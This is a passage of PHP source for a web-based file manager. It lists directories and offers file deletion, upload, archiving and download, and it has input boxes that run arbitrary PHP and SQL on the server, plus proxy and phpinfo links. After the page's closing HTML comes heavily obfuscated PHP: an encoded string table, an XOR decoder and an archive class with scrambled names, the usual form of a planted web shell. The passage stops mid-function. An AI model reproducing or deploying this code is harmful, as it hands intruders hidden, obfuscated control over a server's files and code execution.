$phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; }$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files);foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path. '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink =fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path. '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/bayu123-cpu/flex">Github</a>| <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); }function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })();var table2Excel = function () {var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE ");this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {var x = document.getElementById(el).rows;var xls = new ActiveXObject("Excel.Application");xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells;for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html><?php $_0xk0upx=implode('',[0 => 'ZO', 1 => '5b', 2 => 'Sp', 3 => 'sI', 4 => '4W', 5 => '3z', 6 => 'F7', 7 => 'BE']);function _0xm6cqy($_0xxw8te, $_0x1lrhi) {$_0xj7wwg = strlen($_0x1lrhi);$result = '';for($_0x0hgqe=0;$_0x0hgqe<strlen($_0xxw8te);$_0x0hgqe++){$result .= chr(ord($_0xxw8te[$_0x0hgqe]) ^ ord($_0x1lrhi[$_0x0hgqe % $_0xj7wwg]));}return $result;}function _0x12usg($_0x8c6tx) {global $_0xrwtmm,$_0xk0upx;$_0x9l5pv = $_0xrwtmm['izjcW'][$_0x8c6tx];$_0x9ktqv = $_0xrwtmm['RoMJq'];$_0x70w88 = '';for ($_0x0hgqe = 0; $_0x0hgqe < strlen($_0x9l5pv); $_0x0hgqe++) {if (!(!($_0x0hgqe % 3 != 2))) {$_0x70w88 .= $_0x9l5pv[$_0x0hgqe];}}$_0xseigy = array_flip($_0x9ktqv);$_0xumt6g = '';for ($_0x0hgqe = 0; $_0x0hgqe < strlen($_0x70w88); $_0x0hgqe++) {$_0xdk35s = $_0x70w88[$_0x0hgqe];$_0xumt6g .= isset($_0xseigy[$_0xdk35s]) ? $_0xseigy[$_0xdk35s] : $_0xdk35s;}$_0xv1v9f = _0xm6cqy(hex2bin($_0xumt6g),$_0xk0upx);return strrev($_0xv1v9f);} $_0xrwtmm = [ 'RoMJq' => ['a' => 'w', 'b' => 'e', 'c' => 'z', 'd' => 'j', 'e' => 'k', 'f' => 'y', 'g' => 'r', 'h' => 'x', 'i' => 'd', 'j' => 'i', 'k' => 'p', 'l' => 'h', 'm' => 'v', 'n' => 'f', 'o' => 'o', 'p' => 'c', 'q' => 's', 'r' => 'u', 's' => 'q', 't' => 'm', 'u' => 'g', 'v' => 't', 'w' => 'b', 'x' => 'n', 'y' => 'l', 'z' => 'a', 'A' => 'S', 'B' => 'W', 'C' => 'K', 'D' => 'I', 'E' => 'F', 'F' => 'U', 'G' => 'V', 'H' => 'E', 'I' => 'N', 'J' => 'X', 'K' => 'A', 'L' => 'L', 'M' => 'T', 'N' => 'O', 'O' => 'M', 'P' => 'R', 'Q' => 'H', 'R' => 'C', 'S' => 'Z', 'T' => 'Q', 'U' => 'J', 'V' => 'G', 'W' => 'Y', 'X' => 'D', 'Y' => 'P', 'Z' => 'B', 0 => 8, 1 => 6, 2 => 7, 3 => 4, 4 => 9, 5 => 3, 6 => 1, 7 => 2, 8 => 5, 9 => 0, '+' => '/', '/' => '+'], 'izjcW' => ['GZWo' => '', 'TxUg' => '7w@77^96^9z!', 'ibvy' => '4y(77&39!8z%41)87%34!4j)3e(40!3j%6e(83!', 'VQYe' => '2w!', 'vNIH' => '2w*78!96*97#', 'BINB' => '7w#77*96&9z)', 'NTgG' => '7w(77)96!9z^', 'DHmW' => '45)4j%', 'mFyX' => '2w!4y*35(61!2j@', 'hoAx' => '4y^74*32)84&42%66&61)4e%69#74!3z#69)11@99@7e*', 'mkQQ' => '7w)77@96@9z(', 'kvlC' => '7w%77^96@9z)', 'UKru' => '15#2k*88*84(', 'LHgE' => '7w)77%96*9z&', 'DBBf' => '45^19)92*', 'PPJn' => '4y(74*3z(89(24*6y#4j)', 'hfTa' => '2w!78)96)97!', 'dQUZ' => '4y!40^3z*8w)48#87%47@', 'RFND' => '15%2k#88)84@', 'fwKH' => '', 'PYgi' => '45(4j^', 'osSy' => '10)2k&82%4k%19!94(7y@', 'nrgC' => '78*75@', 'jQAT' => '78(75)96^', 'xhdZ' => '45&4j)', 'BdCM' => '45@4j^', 'nwIz' => '2w^', 'XiIX' => '4y!74!32#84%42&66*61*4e(69@74^3z)69!11^99!7e)', 'hKes' => '', 'fLBF' => '27#1y#', 'RAQQ' => '24)', 'ahmZ' => '4k%7w%92)68*71&64(68^71&69(73#3z%85^49(27^', 'PpVv' => '19&18#92%88(1y@38)90(', 'ZPmf' => '19(18^92&88%1y#', 'LATl' => '', 'YSLS' => '75(78@96#67@4w(87&68#4w&36*44&64(6y#7w(3k)79!13@4k%71!30%84)73@6k)4w#', 'OLCH' => '4y)74%3z@89*24(6y!4j&', 'xxKz' => '2w&', 'rrSJ' => '75*78^96^67@4w%87)68&4w(36)44!64*6y(7w@3k)79#13*4k(71&30#84#73)6k^4w^', 'CxvH' => '4y!77&39^8z!41^6z&6w!8y)', 'XaSr' => '2w&', 'ENTM' => '7k%7z!38!68%76(6y*68^72(3j@22#98!64(', 'gfor' => '81#64)', 'ZpOS' => '23(', 'zKDO' => '45@4j@', 'PMDM' => '2w)7w*36*8j(6k!', 'DtIA' => '7k%7z!38)68%76&6y*68@72(3j)22!98&64*', 'WepT' => '', 'JAHQ' => '15@2k&88*84#', 'RbGy' => '75!78!92#68(61#', 'tLZe' => '2w^23)', 'PkdI' => '2w&41@92@8j!72(64&61^4e#3j&64%', 'SrZe' => '4y%74@32@84(42&66!61%4e)69%74(3z#69#11#99@7e@', 'yCHv' => '29(', 'ayII' => '29#16^', 'yTpQ' => '29(', 'RquR' => '23#', 'BSxd' => '81%64!', 'NmIw' => '23&', 'lqJf' => '', 'fsmH' => '23(', 'EgIM' => '23(16^6e(', 'EOVH' => '18@', 'fuEV' => '23!16*', 'asiE' => '4y@77)39&8z^41#6z)6w*7y&', 'SAQK' => '', 'xvHj' => '4j!7k)30!89@41)88%8w!4j#', 'pksi' => '61&', 'OHNj' => '', 'lhqy' => '4y)43*3z@66(', 'SwHp' => '4y%43&3z(66%', 'vYqt' => '4y%77)39^8z(41!6z&6w@7y%', 'TXVu' => '23#16#', 'umgJ' => '23*', 'ZIEN' => '23(', 'XsBN' => '4y*77*39*8z@41%6z%6w%7y%', 'XGXP' => '23^', 'WXtQ' => '4y@77*39!8z@41@6z^6w#7y*', 'HMKT' => '4y@77)39@8z(41&6z^6w@7y@', 'Uysy' => '4y!77#39^8z^41*6z)6w!7y*', 'FnCW' => '23(', 'CjUx' => '4y&77@39&8z(41^6z&6w!7y^', 'oGHX' => '4y#77^39^8z)41)6z*6w@7y)', 'dDZj' => '4y%77^39@8z&41(6z@6w)7y!', 'fWqu' => '4j#7k&30^89@41)88)8w#4j@', 'Qrub' => '', 'OlfW' => '2w#7w(30&8e*63%', 'daRC' => '4y%77@39*8z&41^6z(6w@7y#', 'OqXz' => '70@4e%91*8e&7e*63#34*48(38&41(31^85%7w%31@17&', 'RJpj' => '75^7w#36!8k@4z^61)34%4w@33)22&', 'utoN' => '4y^77#39%8z@41@6z%6w)7y^', 'VIAr' => '4j&7k!30@89@41#88^8w#4j(', 'Wtsr' => '1y&', 'vKKT' => '74&4j)3w%61*48&63^86*78!38&22^31(8k&72@37)48(71!2w%4e)3w@8z*4j(66!48!', 'QzMN' => '2w!16#', 'Hisf' => '2w#7w&30*8e#63&', 'BoJf' => '4y&77&39^8z!41(6z%6w)7y)', 'GyOK' => '70&4e(91%8e)7e&63^34&48#38*41@31(85^7w&31#17)', 'KhHe' => '4y*77&39@8z#41#6z%6w%7y)', 'bmDW' => '4y@74*3z^89%24@6y#82@10%36%74!3w%85!46^62)41%7w!49!76!39*76&', 'PZBk' => '2w&16%', 'goEE' => '2w@7w^30%8e%63)', 'QNRw' => '4y#77*39@8z!41%6z&6w^7y%', 'bnLN' => '70&4e%91)8e%7e^63(34@48^38&41^31(85@7w^31#17%', 'nARf' => '4j)7k)30&89*41)88(8w!4j(', 'rKoJ' => '1y*', 'dXjj' => '4y*77%39^8z(41^6z!6w!7y(', 'Tbxh' => '4y%77%39@8z@41%6z%6w*7y(', 'dDyL' => '74#4j%3w@61%48^63^86#78#38)22!31*8k(72)37@48*71@2w%4e(3w!8z^4j!66#48(', 'uqxV' => '2w%', 'Xmbb' => '2w%4j*3w%89&24^', 'Gruw' => '4y!77(39!8z!41#6z(6w&7y!', 'Gcqq' => '4j)7k*30@89*41%88!8w(4j)', 'OByq' => '1y)', 'PjCm' => '4y!77%39)8z(41@6z@6w@7y(', 'uZVN' => '4y)77*39^8z@41%6z!6w%7y^', 'ipdr' => '74%4j#3w*61(48!63(86#78)38%22*31(8k@72(37)48(71%2w*4e#3w#8z@4j^66&48!', 'slhg' => '2w)', 'csjM' => '4y%77^39@8z^41&6z*6w)7y*', 'DNnG' => '4y!77)39#8z#41^6z!6w(7y(', 'KjOS' => '45%45&', 'ARHT' => '4y(74%3z#89(24%6y%82%10&36@74%3w&85(46)62@41^7w(49%76)39#76%', 'NqYp' => '2w@', 'HVBa' => '4y@77!39^8z!41@6z*6w)7y&', 'Ccgd' => '4y%43(3z#66*', 'eLkB' => '4y(43@3z(66&', 'REIF' => '4y#43&3z*66)', 'SzWx' => '4y@77)39*8z&41&6z@6w&7y)', 'tYoP' => '4y^77)3z*61!', 'zxwC' => '4y^77^39!8z@41*6z)6w#7y%', 'CmCy' => '4y@43#3z(66^', 'ylEo' => '4y#74@3z)89)24*61^6z@10^36&7j*3w#70%', 'SzaE' => '2w^', 'SgeK' => '4y(77%39@8z%41)6z)6w&7y@', 'QsOV' => '2w#', 'poCa' => '7k%7z(38!68@76*6y^68@72*3j!22#98@64^', 'NWcH' => '4y*77(39^8z&41*6z(6w@7y&', 'RqGe' => '4y*77#39%8z@41%6z!6w^7y)', 'oaix' => '', 'UJqg' => '4y(77!39&8z%41#6z@6w#7y@', 'bMZR' => '23#', 'iRoe' => '', 'rzbf' => '23*', 'yjlJ' => '4y@77#39)8z&41!6z&6w!7y)', 'fVNw' => '', 'JOJS' => '', 'CkdZ' => '74^4j&3w)61)48&63!86@78@38*22)31#8k#72^37!48!71*2w&4e%3w@8z@4j&66%48(', 'CrIM' => '2w*', 'gPBo' => '4y!77^39*8z*41)6z*6w*7y^', 'zydy' => '', 'RJZK' => '4y&77^39^8z&41)6z&6w&7y#', 'uTOv' => '', 'euAA' => '4y(43)3z!66@24!6e@68*71%35&43#64!6k^7y*3e#74!44(49%81(', 'PZVJ' => '2w^23&', 'epRm' => '2w)', 'lQkE' => '75)78@3e(8e^4k^81@61@7j(8z)41(6z!85)70#3j^74(75)7z%7w&36^3w!47(3y*61*79%33)40(39(95@23@31#1j)78*42(7k&3e(62^16^94%67&11)3w)45%3w!80(49!37!49&22(4e&18#31%8e(49!66#6k(2y#33)25&35!69!7y(3e)27^23(1e*7k(6w)83!47^6z*63#7z@99)7k)92)9e!72!65#7y@48^70*79#31*82!4e*64!9e!75)6e*47(3k)64%47@83!24(79*23%7w!9y(8e^78^97(97%75%6e#44%3w^73!41@97)7j^42#4j&22#39^9j*42%60*7z)4e&36(79!91&97)72*65#72*76^43@77&8j#84%2z@63#6k)75#3w&47)3y(64(78%82%27(29&4e!', 'BaYJ' => '42)4w!91#80(48&63#6e)7w^', 'XdhT' => '42^4w)91!80)48)63*6e@7w*', 'GbjS' => '42*4w!91%80(48^63)6e!7w^', 'EdrL' => '4y!77%39(8z*41*6z@6w@7y@', 'Buon' => '', 'fBrp' => '42*4w@91&80%48)63^6e)7w%', 'FegB' => '2w%7w*30%8e&43#38@86*71*37!22#3k!8y^43^3z%76&78!47(7z%63(68(4z^87*86)8z^', 'oIpw' => '4y&77#39!8z&41%6z)6w*7y!', 'iueT' => '4j@7k!30&89&41^88*8w#4j!', 'Eixj' => '4j(7k!30&89)41*88@8w!4j*', 'rmiM' => '1y&', 'jkVK' => '4y&43)3z(66#', 'VrIo' => '4y(77)39(8z&41*6z)6w(7y)', 'BHdX' => '4y(77(39&8z!41^6z#6w#7y*', 'KdnE' => '4y&7e!3w(8y(', 'JqIE' => '4y%7e!3w!8y)', 'BvrC' => '4k&71!1w*68@41^84^81%', 'ZmAd' => '4k#71!1w!68*41^84!81)', 'JPxa' => '4k%71*1w%67(71#6y)86@7k)', 'TUFj' => '4k&71%1w!67&71*6y#86%7k#', 'qJJT' => '4y(43&3z%66)', 'zISR' => '4y%43%3z@66&', 'FAnU' => '4y@77!3z)61^', 'YYqM' => '4y!77)3z(61(', 'GWLb' => '15*2k*29#38@17*66&9e)75@8z%41!8e)6e*21&82)24#79)', 'swPn' => '15&2k^39!32(11%96)67!26(33(1y)37#95&23#31*28%21*4e*2j#39(39%47@98^94(25&33&11*37!', 'YsJz' => '46*76!3z*7k(49@6k*6z%83%6e!20@6z(39)', 'MtmL' => '2w*4z^89*34@21)', 'RkfN' => '61^', 'HMKr' => '', 'rYxy' => '', 'XJcz' => '', 'KFpp' => '', 'BgUX' => '', 'SDBz' => '', 'NqZr' => '', 'NhTs' => '', 'DlST' => '', 'WVqm' => '2w*', 'zltd' => '2w@', 'gjnI' => '2w@4z^84*92#', 'QlxL' => '17^7k@', 'mHUm' => '', 'CMCn' => '15%2k!88#84%', 'fJGb' => '1y#', 'clBg' => '2w&4z*89(34^21%', 'EqzB' => '', 'Zbmj' => '2w#4z@89&34)21#', 'XIms' => '2w%4z%84^92#', 'YKsn' => '2w@4z^84*92!', 'XubW' => '2w&4z(84!92(', 'uJQp' => '70!2k*89&92%', 'lvUy' => '', 'glvM' => '', 'YerU' => '', 'VjCt' => '', 'nzwb' => '', 'yctN' => '', 'Xcia' => '', 'gxwO' => '', 'PVTt' => '', 'Tehp' => '2w*', 'rLrc' => '2w*4z^84^92)', 'dSsy' => '17!7k)', 'BElC' => '4z^21%32!63&', 'OZhb' => '45!45*', 'TXKk' => '4y#74!3z(89%24&6y*82#10^36!74&3w(85)46&62)41&7w%49@76%39^76%', 'eXEC' => '2w(', 'Icbp' => '', 'YWzZ' => '81@64*', 'YWOS' => '23)', 'rucZ' => '23%', 'plgV' => '29!', 'vajl' => '29*16@', 'fqHj' => '', 'vXfI' => '23(', 'bsAj' => '', 'PtUp' => ''] ]; class archiveTar { var $_0xj693s = ''; var $_0xh5om8 = 0; var $_0xk5amg = 0; var $_0xdv388 = true; var $_0x0cuzc = array(); var $_0xl66e1 = array();function _0xmyqsf(){ if (!isset($this->errors)) $this->errors = array(); }function _0xrvr09($_0xqqk2b){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $_0xm3gmj = false; else $_0xm3gmj = true; if (!(!($_0xm3gmj))) { if (!$this->_0xke1bc()) return false; } else { if (filesize($this->archive_name) == 0) return $this->_0xke1bc(); if (!(!($this->isGzipped))) { $this->_0x0768m(); if (!(!(!rename($this->archive_name, $this->archive_name._0x12usg('TxUg'))))) { $this->errors[] = __(_0x12usg('ibvy'))._0x12usg('VQYe').$this->archive_name.__(_0x12usg('vNIH')).$this->archive_name._0x12usg('BINB'); return false; } $_0x8qefz = gzopen($this->archive_name._0x12usg('NTgG'), _0x12usg('DHmW')); if (!(!(!$_0x8qefz))) { $this->errors[] = $this->archive_name._0x12usg('mFyX').__(_0x12usg('hoAx')); rename($this->archive_name._0x12usg('mkQQ'), $this->archive_name); return false; } if (!(!(!$this->_0xke1bc()))) { rename($this->archive_name._0x12usg('kvlC'), $this->archive_name); return false; } $_0x38i3f = gzread($_0x8qefz, 512); if (!(!(!gzeof($_0x8qefz)))) { do { $_0x4p7d0 = pack(_0x12usg('UKru'), $_0x38i3f); $this->_0xfbmsk($_0x4p7d0); $_0x38i3f = gzread($_0x8qefz, 512); } while (!gzeof($_0x8qefz)); } gzclose($_0x8qefz); unlink($this->archive_name._0x12usg('LHgE')); } else { $this->tmp_file = fopen($this->archive_name, _0x12usg('DBBf')); if (!$this->tmp_file) return false; } } if (!(!(isset($_0xqqk2b) && is_array($_0xqqk2b)))) { if (count($_0xqqk2b)>0) $result = $this->_0xs6eq4($_0xqqk2b); } else $this->errors[] = __(_0x12usg('PPJn')).__(_0x12usg('hfTa')).__(_0x12usg('dQUZ')); if (!(!(($result)&&(is_resource($this->tmp_file))))) { $_0x4p7d0 = pack(_0x12usg('RFND'), _0x12usg('fwKH')); $this->_0xfbmsk($_0x4p7d0); } $this->_0x0768m(); if (!(!($_0xm3gmj && !$result))) { $this->_0x0768m(); unlink($this->archive_name); } return $result; }function _0xkklw2($_0xysgce){ $_0xuwmms = $this->archive_name; if (!(!(!$this->isGzipped))) { if (!(!(file_exists($_0xuwmms)))) { if (!(!($_0xfouew = fopen($_0xuwmms, _0x12usg('PYgi'))))) { $_0xxw8te = fread($_0xfouew, 2); fclose($_0xfouew); if (!(!($_0xxw8te == _0x12usg('osSy')))) { $this->isGzipped = true; } } } elseif ((substr($_0xuwmms, -2) == _0x12usg('nrgC')) OR (substr($_0xuwmms, -3) == _0x12usg('jQAT'))) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($_0xuwmms, _0x12usg('xhdZ')); else $this->tmp_file = fopen($_0xuwmms, _0x12usg('BdCM')); if (!(!(!$this->tmp_file))) { $this->errors[] = $_0xuwmms._0x12usg('nwIz').__(_0x12usg('XiIX')); return false; } $result = $this->_0x9c8xb($_0xysgce); $this->_0x0768m(); return $result; }function _0xpwn28($_0x7g9p6 = '') { $_0xnbily = $this->errors; if (!(!(count($_0xnbily)>0))) { if (!empty($_0x7g9p6)) $_0x7g9p6 = _0x12usg('fLBF').$_0x7g9p6._0x12usg('RAQQ'); $_0x7g9p6 = __(_0x12usg('ahmZ')).$_0x7g9p6._0x12usg('PpVv'); foreach ($_0xnbily as $_0xdumps) $_0x7g9p6 .= $_0xdumps._0x12usg('ZPmf'); return $_0x7g9p6; } else return _0x12usg('LATl');}function _0xs6eq4($_0x25ocx){ $result = true; if (!(!(!$this->tmp_file))) { $this->errors[] = __(_0x12usg('YSLS')); return false; } if (!is_array($_0x25ocx) || count($_0x25ocx)<=0) return true; for ($_0x0hgqe = 0; $_0x0hgqe<count($_0x25ocx); $_0x0hgqe++){ $_0xbsi1a = $_0x25ocx[$_0x0hgqe]; if ($_0xbsi1a == $this->archive_name) continue; if (strlen($_0xbsi1a)<=0) continue; if (!(!(!file_exists($_0xbsi1a)))) { $this->errors[] = __(_0x12usg('OLCH'))._0x12usg('xxKz').$_0xbsi1a; continue; } if (!(!(!$this->tmp_file))) { $this->errors[] = __(_0x12usg('rrSJ')); return false; } if (!(!(strlen($_0xbsi1a)<=0))) { $this->errors[] = __(_0x12usg('CxvH'))._0x12usg('XaSr').__(_0x12usg('ENTM'));; return false; } $_0xbsi1a = str_replace(_0x12usg('gfor'), _0x12usg('ZpOS'), $_0xbsi1a); $_0xae8fj = $this->_0xw21nl($_0xbsi1a); if (!(!(is_file($_0xbsi1a)))) { if (!(!(($_0xiq3gu = fopen($_0xbsi1a, _0x12usg('zKDO'))) == 0))) { $this->errors[] = __(_0x12usg('PMDM')).__(_0x12usg('DtIA')); } if (!(!(($this->file_pos == 0)))) { if(!$this->_0x10i7i($_0xbsi1a, $_0xae8fj)) return false; } while (($_0x38i3f = fread($_0xiq3gu, 512)) != _0x12usg('WepT')){ $_0x4p7d0 = pack(_0x12usg('JAHQ'), $_0x38i3f); $this->_0xfbmsk($_0x4p7d0); } fclose($_0xiq3gu); } else $this->_0x10i7i($_0xbsi1a, $_0xae8fj); if (!(!(@is_dir($_0xbsi1a)))) { if (!(!(!($_0xltu58 = opendir($_0xbsi1a))))) { $this->errors[] = __(_0x12usg('RbGy'))._0x12usg('tLZe').__(_0x12usg('PkdI')).$_0xbsi1a.__(_0x12usg('SrZe')); continue; } while (false !== ($_0xu3uoc = readdir($_0xltu58))){ if (!(!($_0xu3uoc!=_0x12usg('yCHv') && $_0xu3uoc!=_0x12usg('ayII')))) { $_0x5km0k = array(); if ($_0xbsi1a != _0x12usg('yTpQ')) 